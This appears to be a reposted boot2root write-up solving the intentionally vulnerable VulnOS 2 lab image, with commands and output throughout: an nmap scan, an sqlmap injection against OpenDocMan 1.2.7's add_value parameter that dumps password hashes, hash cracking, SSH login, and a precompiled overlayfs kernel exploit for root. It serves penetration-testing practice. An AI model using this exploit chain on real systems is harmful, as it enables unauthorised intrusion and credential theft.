tiancode/learn-hacking/posts

黑技能测试：攻破VulnOS 2

VulnOS是人为打包的带漏洞的操作系统镜像，用来测试渗透技能。

VulnOS是Virtualbox虚拟机镜像。

你的任务是获得这个系统的root权限。

VulnOS镜像下载地址：<http://download.vulnhub.com/vulnos/VulnOSv2.7z>

攻破步骤：<https://github.com/dqi/ctf_writeup/tree/master/boot2root/vulnos2>

Lets scan it:

```

_ nmap -sS -T4 -A 192.168.0.100 -p-

Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-17 08:49 CEST

Nmap scan report for 192.168.0.100

Host is up (0.00064s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)

| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)

|_ 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

|_http-server-header: Apache/2.4.7 (Ubuntu)

|_http-title: VulnOSv2

6667/tcp open irc ngircd

MAC Address: 08:00:27:A1:E2:43 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.4

Network Distance: 1 hop

Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

>

TRACEROUTE

HOP RTT ADDRESS

1 0.64 ms 192.168.0.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 80.84 seconds

```

So there is ssh, a webserver and a IRC server.

On the webserver we get a link to /jabc, I spider this site, browse around a bit, and find something interesting in /jabc/?q=node/8

```

<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>

<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p>

```

We follow along to /jabcd0cs/

Here we find OpenDocMan 1.2.7, seeing the copyright for this version only goes to 2013 I go to exploit db to see if there are any exploits.

```

https://www.exploit-db.com/exploits/32075/

```

So there is SqL-injection possible in the add_value parameter, I fire sqlmap and it and it gets some nice results.

```

sqlmap -u 'http://192.168.0.100/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user'

-p add_value -D jabcd0cs --dump

```

We get the hash for the webmin user.

```

Database: jabcd0cs

Table: odm_user

[3 entries]

+----+--------------+--------------------+--------------+------------------------------------------+-----------+------------+------------+---------------+

| id | phone | Email | username | password | last_name | first_name | department | pw_reset_code |

+----+--------------+--------------------+--------------+------------------------------------------+-----------+------------+------------+---------------+

| 1 | 5555551212 | webmin@example.com | webmin | b78aae356709f8c31118ea613980954b | min | web | 2 | <blank> |

| 2 | 555 5555555 | guest@example.com | guest | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest | guest | 2 | NULL |

| 3 | 555-555-0199 | winter@example.com | Peter+Winter | 3d5bfcc2c4c3101c754087120572aaf7 | Winter | Peter | 1 | NULL |

+----+--------------+--------------------+--------------+------------------------------------------+-----------+------------+------------+---------------+

```

I paste this hash into the google and get back the plaintext.

```

result: webmin1980

```

We can ssh in as this user.

```

ssh webmin@192.168.0.100 ⏎

webmin@192.168.0.100's password:

Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)

* Documentation: https://help.ubuntu.com/

System information as of Tue May 17 08:49:07 CEST 2016

System load: 0.0 Memory usage: 4% Processes: 63

Usage of /: 5.7% of 29.91GB Swap usage: 0% Users logged in: 0

Graph this data and manage this system at:

https://landscape.canonical.com/

Last login: Wed May 4 10:41:07 2016

$ id

uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)

```

I get a shell on the server and do some recon, after not finding anything for a while I notice:

```

webmin@VulnOSv2:~$ uname -a

Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

```

I go to kernel-exploits to check if this kernel is vulnerable to anything, and it is! There is even a precompiled exploit for us.

```

https://www.kernel-exploits.com/exploit/39/

```

I copy it into webmins hope directory and...

```

webmin@VulnOSv2:~$ chmod +x ofs_32

webmin@VulnOSv2:~$ ./ofs_32

spawning threads

mount #1

mount #2

child threads done

/etc/ld.so.preload created

creating shared library

# id

uid=0(root) gid=0(root) groups=0(root),1001(webmin)

```

Yay!

```

# cat /root/flag.txt

Hello and welcome.

You successfully compromised the company "JABC" and the server completely !!

Congratulations !!!

Hope you enjoyed it.

What do you think of A.I.?

```

Good challenge, I liked exploring the sites looking for vulns, thanks to Vulnhub for hosting and thanks to c4b3rw0lf for creating it!